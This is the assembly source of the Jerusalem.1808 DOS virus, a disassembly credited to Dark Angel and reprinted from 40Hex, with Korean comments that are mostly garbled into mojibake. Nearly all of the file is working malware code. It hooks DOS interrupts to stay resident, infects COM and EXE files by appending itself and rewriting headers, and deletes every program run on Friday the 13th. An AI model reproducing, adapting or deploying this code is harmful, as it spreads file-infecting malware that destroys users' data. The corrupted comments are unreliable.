;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> ; ; \\\\\\\ \ \ \ ; Jerusalem.1808.Standard \ \ \ \ ; \ \ \ \ 98/03 ; \ \ \ \ ; \\\\\\\ \ \\\\\\\ #03 ; Virus Name : Jerusalem.1808.Standard ; Author : ? ; Origin : Israel / Italia (?) ; Date : 1998/02/05 ; Disassmebly by Dark Angel ; Corean Edition : Nambeol ; ; Type : Memory resident COM/EXE ; ; !****************************************************************************! ; * * ; * w ! * ; * e aa a šaa. aBⷥ ae awAᴡea. * ; * Abae aša Ae e AA Ёᕡ i g * ; * ea. ew aa Зa ia ! * ; * * ; * Warning ! * ; * This is a VIRUS source code. This source code is provieded educational * ; * purpose. The author is not responsible for any damage caused by this c * ; * ode. Don't modify or execute it ! * ; * * ; !****************************************************************************! ; ; 40Hex Number 13 Volume 4 Issue 1 File 008 ; ; aa b i ťbaA Ё eae A iQ ew aai ; Ab i i a. 10 e e aai aa ! ; ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> .model tiny .code org 0 ; Jerusalem (Standard) ; Disassembly by Dark Angel of Phalcon/Skism ; ei : Nambeol of CVL viruslength = (endjerusalem - jerusalem) ; aa jerusalem: jmp enter_jerusalem db 'sU' ; sURiv 3 a ea. marker db 'MsDos' ; aa qq a a COMdest dw 0, 0 ; activate_flag db 0 ; ɕ wȁ zero dw 0 ; filesize dw 3 ; COM a a oldint8 dw 0, 0 ; a 8h t oldint21 dw 0, 0 ; a 21h t oldint24 dw 0, 0 ; a 24h t int8counter dw 0 ; ww a tempheader dw 0 EXEdest dw 0,0 ; _initialSP dw 0 ; _initialSS dw 0 ; _headersize dw 0 ; _filelengthlo dw 0 ; _filelengthhi dw 0 ; savePSP1 dw 0 ; PSP t respara dw 80h ; Зi e ʼnw A wb parmblock: dw 0 ; use current environment dw 80h savePSP2 dw 0 ; pointer to command line dw 5Ch savePSP3 dw 0 ; pointer to 1st FCB dw 6Ch savePSP4 dw 0 ; pointer to 2nd FCB saveSP dw 0 ; SP saveSS dw 0 ; SS initialCSIP dw 0, 0 ; CS,IP oldintFF dw 0 ; Int FFh w db 0 COM_EXE_flag db 0 header dw 0Eh dup (0) readbuffer db 5 dup (0) ; qqai · e filehandle dw 0 ; a Ѕi fileattr dw 0 ; a filedate dw 0 ; a ia filetime dw 0 ; a e pagesize dw 200h ; 512 (A a) parasize dw 10h ; paragraph->byte conversion filelength dw 0, 0 ; a filenameptr dw 0, 0 ; aq command_com db 'COMMAND.COM' ; qq AA a alloc_flag dw 0 ; A iw a ia db 0, 0, 0, 0 enter_jerusalem: cld mov ah,0E0h ; int 21h ; w a a cmp ah,0E0h jae not_resident cmp ah,3 ; AH a 3 e wЁa. jb not_resident mov ah,0DDh ; COM З mov di,100h ; DI= 100h mov si,offset endjerusalem ; SI= aa b add si,di ; (a + 100h) mov cx,cs:[di+filesize] ; CX= aa int 21h ; á З not_resident: mov ax,cs ; add ax,10h ; EXE Aaa ɷЁ a mov ss,ax ; mov sp,700h ; push ax mov ax,offset relocate_entry push ax retf ; ; aae 0 廡A ЗA AbAa. ae, COM ae 100h A ; ЗAa Aaai + 10h Ё COM a 0 廡A ЗAe e ; A a. ; 0000:0100h 0010:0000h e 锁A {qi ba aea. Ёa eA ; e ᝡ Ё aea. ; relocate_entry: ; EXE a b cld push es mov cs:savePSP1,es ; mov cs:savePSP2,es ; PSP w mov cs:savePSP3,es ; mov cs:savePSP4,es ; mov ax,es add ax,10h ; add cs:initialCSIP+2,ax ; add cs:saveSS,ax mov ah,0E0h ; w a a int 21h cmp ah,0E0h jae install_virus cmp ah,3 pop es mov ss,cs:saveSS ; EXE aa З mov sp,cs:saveSP jmp dword ptr cs:initialCSIP install_virus: xor ax,ax ; mov es,ax ; a FFh tA mov ax,es:0FFh*4 ; rep movsw / retf i wea. mov cs:oldintFF,ax ; mov al,es:0FFh*4+2 ; mov byte ptr cs:oldintFF+2,al mov word ptr es:0FFh*4,0A5F3h ; rep movsw mov byte ptr es:0FFh*4+2,0CBh ; retf pop ax ; COM a w a A a add ax,10h ; áEa. mov es,ax push cs pop ds mov cx,viruslength ; aa shr cx,1 ; aa / 2 xor si,si mov di,si push es mov ax,offset return_here push ax db 0EAh ; jmp far ptr dw 03FCh, 0 ; JMP 0000:03FCh return_here: mov ax,cs ; a {eҁ a aea. mov ss,ax mov sp,700h ; aȂ xor ax,ax mov ds,ax mov ax,cs:oldintFF ; Int FFh mov ds:0FFh*4,ax mov al,byte ptr cs:oldintFF+2 mov ds:0FFh*4+2,al mov bx,sp ; A iw mov cl,4 ; SP(700) / 2 ^ 4 = ́aϡ shr bx,cl ; e add bx,10h ; 10h e PSP a a. 256 byte mov cs:respara,bx ; mov ah,4Ah ; aaa ϩae eqe A mov es,cs:savePSP1 ; i a. int 21h ; ; ; A iw Ёa i eAe ŝe a i a aea. ; mov ax,3521h ; a 21h 苡 int 21h ; mov cs:oldint21,bx ; w mov word ptr cs:oldint21+2,es push cs ; aaa ae a pop ds ; 21h Ѕiᝡ aa. mov dx,offset int21 mov ax,2521h int 21h mov es,savePSP1 ; PSP w mov es,es:2Ch ; ʼnwwb Aaai ea. xor di,di ; PSP:002Ch A a i mov cx,7FFFh ; a. xor al,al ; scan_environment: ; ʼnwwb á b i repne scasb ; q a aea. cmp es:[di],al ; loopnz scan_environment ; mov dx,di ; add dx,3 ; Зi aqi ea. mov ax,4B00h ; wwbA a. push es pop ds push cs pop es mov bx,offset parmblock push ds push es push ax push bx push cx push dx mov ah,2Ah ; ia 苡 int 21h mov cs:activate_flag,0 ; cmp cx,1987d ; 1987 eAe beea. je no_activate cmp al,5 ; qaa ? jne set_int8 cmp dl,13d ; 13 a ? jne set_int8 inc cs:activate_flag ; ae bea. jmp short no_activate db 90h set_int8: ; Int 8h i wea. mov ax,3508h ; int 21h mov cs:oldint8,bx mov word ptr cs:oldint8+2,es push cs pop ds ; mov int8counter,60*30*18 ; e (30ҁ) mov ax,2508h ; mov dx,offset int8 int 21h no_activate: pop dx pop cx pop bx pop ax pop es pop ds pushf call dword ptr cs:oldint21 ; aa З push ds pop es mov ah,49h ; A ЁA int 21h mov ah,4Dh ; At 苡 int 21h mov ah,31h ; aa Зҁ w mov dx,600h ; A aa wq mov cl,4 shr dx,cl add dx,10h int 21h int24: xor al,al iret int8: cmp cs:int8counter,2 ; ******************** jne no_box ; Int 8h push ax ; ******************** push bx ; push cx push dx push bp mov ax,602h ; scroll up 2 lines mov bh,87h ; (5,5) - (10,10) mov cx,505h mov dx,1010h int 10h ; aa a pop bp pop dx pop cx pop bx pop ax no_box: dec cs:int8counter jnz exitint8 mov cs:int8counter,1 push ax push cx push si mov cx,4001h ; eǡ rep lodsb pop si pop cx pop ax exitint8: jmp dword ptr cs:oldint8 ; a 8 З int21: pushf cmp ah,0E0h ; w a a a ? jne not_install mov ax,300h ; wt popf iret not_install: cmp ah,0DDh ; COM á je restore_COM cmp ah,0DEh ; EXE á (Ae aweE je restore_EXE ; a.) cmp ax,4B00h ; Зa ? jne exitint21 jmp execute exitint21: popf jmp dword ptr cs:oldint21 restore_COM: ; COM AA á pop ax ; pushf Ж t ; ; aa ѡ‰Ae ia,CS,IP a wEa. a aa ѡ ; ‰E i i Ёe CS te ieEa. ; pop ax ; IP t mov ax,100h ; mov cs:COMdest,ax ; pop ax ; aa CS 苡 mov word ptr cs:COMdest+2,ax rep movsb ; á popf ; mov ax,cs:zero ; clear AX jmp dword ptr cs:COMdest ; aaa a ; CS:100h aea. restore_EXE: add sp,6 ; EXE á popf ; aa Aba e mov ax,cs ; EXE a |A aa mov ss,ax ; i áaa e {a. a mov sp,offset endjerusalem ; e ˥e awA gea. push es ; ˥e ϩa a. push es xor di,di push cs pop es mov cx,10h mov si,bx mov di,offset tempheader rep movsb mov ax,ds mov es,ax mul cs:parasize ; convert to bytes add ax,cs:_headersize adc dx,0 div cs:parasize ; convert to paragraphs mov ds,ax mov si,dx mov di,dx mov bp,es mov bx,cs:_filelengthhi or bx,bx jz no_move_code move_code: mov cx,8000h rep movsw add ax,1000h add bp,1000h mov ds,ax mov es,bp dec bx jnz move_code no_move_code: mov cx,cs:_filelengthlo rep movsb pop ax push ax add ax,10h add cs:_initialSS,ax add word ptr cs:EXEdest+2,ax mov ax,cs:tempheader pop ds pop es mov ss,cs:_initialSS mov sp,cs:_initialSP jmp dword ptr cs:EXEdest delete_file: xor cx,cx ; /a ew mov ax,4301h int 21h mov ah,41h ; a bA int 21h mov ax,4B00h ; aa З popf ; weӡ a aa A jmp dword ptr cs:oldint21 ; i execute: cmp cs:activate_flag,1 ; 13 qa a ? je delete_file mov cs:filehandle,0FFFFh ; a Ѕiw (a eAe ; we a Ѕi wEa) mov cs:alloc_flag,0 ; mov cs:filenameptr,dx ; a q mov word ptr cs:filenameptr+2,ds ; DS:DX push ax push bx push cx push dx push si push di push ds push es cld mov di,dx xor dl,dl cmp byte ptr [di+1],':' ; aaa a ? jne execute_nodrive mov dl,[di] ; aaa 苡 and dl,1Fh ; ai a a execute_nodrive: mov ah,36h ; w aa ? int 21h cmp ax,0FFFFh ; Aᷥa ? jne check_drivespace go_exit_execute: jmp exit_execute check_drivespace: mul bx ; ax = clus/sec, bx=free clus mul cx ; cx = bytes/sector or dx,dx ; check if enough free space jnz enough_space ; aa w e cmp ax,viruslength ; ea ? jb go_exit_execute enough_space: mov dx,cs:filenameptr ; push ds pop es xor al,al ; mov cx,41h repne scasb mov si,cs:filenameptr uppercase_loop: mov al,[si] ; or al,al ; a q {a ? jz uppercase_loop_done cmp al,'a' ; jb not_lower ; ai a aa. cmp al,'z' ; ja not_lower ; sub byte ptr [si],' ' ; - 20h (a ae ; 20h aa a.) not_lower: inc si jmp short uppercase_loop uppercase_loop_done: mov cx,0Bh ; a q COMMAND.COM sub si,cx ; a ? mov di,offset command_com push cs pop es mov cx,0Bh repe cmpsb jnz not_command_com jmp exit_execute not_command_com: mov ax,4300h ; 苡 int 21h jc error1 mov cs:fileattr,cx error1: jc error2 xor al,al mov cs:COM_EXE_flag,al ; push ds pop es mov di,dx mov cx,41h repne scasb ; COM aea. cmp byte ptr [di-2],'M' ; a eŖAaa a je EXEidentified ; ae ϩa aa eӡ ¸w cmp byte ptr [di-2],'m' ; a ea a aa Aa je EXEidentified ; a. inc cs:COM_EXE_flag ; EXE aa wa EXEidentified: mov ax,3D00h ; a e int 21h error2: jc error3 mov cs:filehandle,ax mov bx,ax mov ax,4202h ; a{ - 5 mov cx,0FFFFh mov dx,0FFFBh int 21h jc error2 add ax,5 ; +5 Ё a q mov cs:filesize,ax mov cx,5 ; 5 aa mov dx,offset readbuffer mov ax,cs mov ds,ax mov es,ax mov ah,3Fh int 21h mov di,dx ; MsDos a ? mov si,offset marker ; EXE aA qqI MsDos i repe cmpsb ; wa ga qqEa. jnz not_infected ; mov ah,3Eh ; a h int 21h jmp exit_execute not_infected: mov ax,3524h ; a 24h 苡 int 21h mov oldint24,bx ; w mov word ptr oldint24+2,es mov dx,offset int24 ; Int 24h a mov ax,2524h int 21h lds dx,dword ptr filenameptr; aa q 苡 xor cx,cx ; i /a a mov ax,4301h int 21h error3: jc error4 mov bx,cs:filehandle mov ah,3Eh ; a h int 21h mov cs:filehandle,0FFFFh ; Aᯡ FFFFh a i᷶a. mov ax,3D02h ; /a a e int 21h ; w ee AX A aЅi jc error4 ; aa. mov cs:filehandle,ax ; Ѕi w mov ax,cs mov ds,ax mov es,ax mov bx,filehandle mov ax,5700h ; a b/e 苡 int 21h mov filedate,dx ; w mov filetime,cx mov ax,4200h ; a qa xor cx,cx mov dx,cx int 21h error4: jc error5 cmp COM_EXE_flag,0 ; COM a ? je infect_com jmp short infect_exe db 90h infect_com: ; COM qq˥ mov bx,1000h ; A 苡 (64KB) mov ah,48h int 21h jnc allocation_fine mov ah,3Eh ; Ae a h mov bx,filehandle int 21h jmp exit_execute allocation_fine: inc alloc_flag mov es,ax ; A aa a xor si,si mov di,si mov cx,viruslength rep movsb mov dx,di mov cx,filesize ; COM a eq a mov bx,filehandle ; i push es pop ds mov ah,3Fh ; int 21h error5: jc error6 add di,cx xor cx,cx ; a ba mov dx,cx mov ax,4200h int 21h mov si,offset marker ; a {A aa ia mov cx,5 rep movs byte ptr es:[di],cs:[si] mov cx,di ; xor dx,dx mov ah,40h int 21h error6: jc error7 jmp error12 infect_exe: mov cx,1Ch ; EXE A mov dx,offset header mov ah,3Fh int 21h error7: jc error8 mov word ptr ds:header+12h,1984h ; ??? mov ax,ds:header+0eh; initial SS mov ds:saveSS,ax mov ax,ds:header+10h ; initial SP mov ds:saveSP,ax mov ax,ds:header+14h mov ds:initialCSIP,ax mov ax,ds:header+16h mov ds:initialCSIP+2,ax mov ax,ds:header+4 ; cmp word ptr ds:header+2,0 ; je not_rounded dec ax ; not_rounded: mul word ptr ds:pagesize add ax,ds:header+2 adc dx,0 ; a a 苡 add ax,0Fh ; 16 eea. adc dx,0 and ax,0FFF0h ; mov ds:filelength,ax mov ds:filelength+2,dx add ax,viruslength ; + aa adc dx,0 error8: jc error9 div word ptr ds:pagesize ; A a aa. or dx,dx ; aỡa aa ? jz dont_round inc ax dont_round: mov ds:header+4,ax ; Ё a mov ds:header+2,dx mov ax,ds:filelength ; convert filesize mov dx,ds:filelength+2 div word ptr ds:parasize ; to paragraphs sub ax,ds:header+8 ; subtract header size mov ds:header+16h,ax ; insert as initial CS mov word ptr ds:header+14h,offset relocate_entry mov ds:header+0eh,ax ; insert new stack segment mov word ptr ds:header+10h,offset endjerusalem; & pointer xor cx,cx ; a ba mov dx,cx mov ax,4200h int 21h error9: jc error10 mov cx,1Ch ; a A a mov dx,offset header mov ah,40h int 21h error10: jc error11 cmp ax,cx jne error12 mov dx,ds:filelength ; a {a mov cx,ds:filelength+2 mov ax,4200h int 21h error11: jc error12 xor dx,dx ; aa a mov cx,viruslength mov ah,40h int 21h error12: cmp cs:alloc_flag,0 ; Ai iw Жa ? je no_free ; mov ah,49h ; A ЁA int 21h no_free: cmp cs:filehandle,0FFFFh ; A a ? (a eA je exit_execute ; gva.) mov bx,cs:filehandle ; ab ia/e 苡 mov dx,cs:filedate mov cx,cs:filetime mov ax,5701h int 21h mov ah,3Eh ; a h int 21h lds dx,dword ptr cs:filenameptr mov cx,cs:fileattr mov ax,4301h ; int 21h lds dx,dword ptr cs:oldint24; Int 24h mov ax,2524h int 21h exit_execute: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf jmp dword ptr cs:oldint21 ; slack space for stack here ; aȂ org 710h endjerusalem: nop int 20h ; aa (3 aa) db 'MsDos' ; aa qqa end jerusalem